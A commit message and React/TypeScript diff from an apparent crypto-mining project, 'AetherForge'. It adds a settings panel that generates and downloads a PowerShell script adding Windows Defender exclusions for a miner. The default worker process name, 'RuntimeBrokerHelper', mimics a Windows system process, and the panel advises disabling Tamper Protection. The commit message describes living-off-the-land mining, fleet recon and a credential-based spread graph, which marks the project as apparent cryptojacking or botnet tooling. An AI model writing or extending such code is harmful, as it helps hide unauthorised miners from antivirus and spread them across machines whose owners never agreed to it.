Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/web/src/pages/SettingsPage.tsx

@@ -30,6 +30,10 @@ import {
   type ForgeSkinId,
   type ForgeThemeOverride,
 } from '../help/forgeOperationModes';
+import {
+  buildDefenderExclusionScript,
+  defaultWindowsInstallPreview,
+} from '../help/defenderExclusion';
 import './Pages.css';
 
 /** Recursively merge `override` into `base`, preserving keys not in `override`. */
@@ -87,6 +91,9 @@ export default function SettingsPage() {
   const [backupMsg, setBackupMsg] = useState('');
   const [testingAlerts, setTestingAlerts] = useState(false);
   const [alertTestMsg, setAlertTestMsg] = useState('');
+  const [avInstallPath, setAvInstallPath] = useState(defaultWindowsInstallPreview());
+  const [avProcessName, setAvProcessName] = useState('RuntimeBrokerHelper');
+  const [avScriptMsg, setAvScriptMsg] = useState('');
   const fileInputRef = useRef<HTMLInputElement>(null);
 
   useEffect(() => {
@@ -458,6 +465,80 @@ export default function SettingsPage() {
         </NeonCard>
       )}
 
+      <NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
+        <h2 className="font-display">Windows Defender Exclusions</h2>
+        <p className="section-desc">
+          Generate a PowerShell script to allowlist your forge install path and worker process.
+          Run it <strong>manually as Administrator</strong> on each mining PC — the agent does not silently bypass AV.
+          Disable Tamper Protection temporarily if exclusions are rejected.
+        </p>
+        <div className="form-row">
+          <div className="form-group" style={{ flex: 2 }}>
+            <label className="label" htmlFor="av-install-path">Install path</label>
+            <input
+              id="av-install-path"
+              className="input"
+              value={avInstallPath}
+              onChange={(e) => setAvInstallPath(e.target.value)}
+              placeholder="%LOCALAPPDATA%\CryptoMiner\worker-{build_short}"
+            />
+          </div>
+          <div className="form-group" style={{ flex: 1 }}>
+            <label className="label" htmlFor="av-process-name">Process name</label>
+            <input
+              id="av-process-name"
+              className="input"
+              value={avProcessName}
+              onChange={(e) => setAvProcessName(e.target.value)}
+              placeholder="RuntimeBrokerHelper"
+            />
+          </div>
+        </div>
+        <div className="form-row" style={{ gap: '0.5rem', flexWrap: 'wrap', marginTop: '0.5rem' }}>
+          <button
+            type="button"
+            className="btn btn-outline btn-sm"
+            onClick={async () => {
+              const script = buildDefenderExclusionScript({
+                installPath: avInstallPath,
+                processName: avProcessName,
+              });
+              try {
+                await navigator.clipboard.writeText(script);
+                setAvScriptMsg('Script copied — run elevated on each Windows worker.');
+              } catch {
+                setAvScriptMsg('Clipboard blocked — select script from download below.');
+              }
+            }}
+          >
+            Copy exclusion script
+          </button>
+          <button
+            type="button"
+            className="btn btn-outline btn-sm"
+            onClick={() => {
+              const script = buildDefenderExclusionScript({
+                installPath: avInstallPath,
+                processName: avProcessName,
+              });
+              const blob = new Blob([script], { type: 'text/plain' });
+              const url = URL.createObjectURL(blob);
+              const a = document.createElement('a');
+              a.href = url;
+              a.download = 'aetherforge-defender-exclusions.ps1';
+              a.click();
+              URL.revokeObjectURL(url);
+              setAvScriptMsg('Downloaded aetherforge-defender-exclusions.ps1');
+            }}
+          >
+            Download .ps1
+          </button>
+        </div>
+        {avScriptMsg && (
+          <p className="form-hint" style={{ marginTop: '0.5rem' }}>{avScriptMsg}</p>
+        )}
+      </NeonCard>
+
       <div className="settings-grid">
         <NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
           <h2 className="font-display">Deck Atmosphere</h2>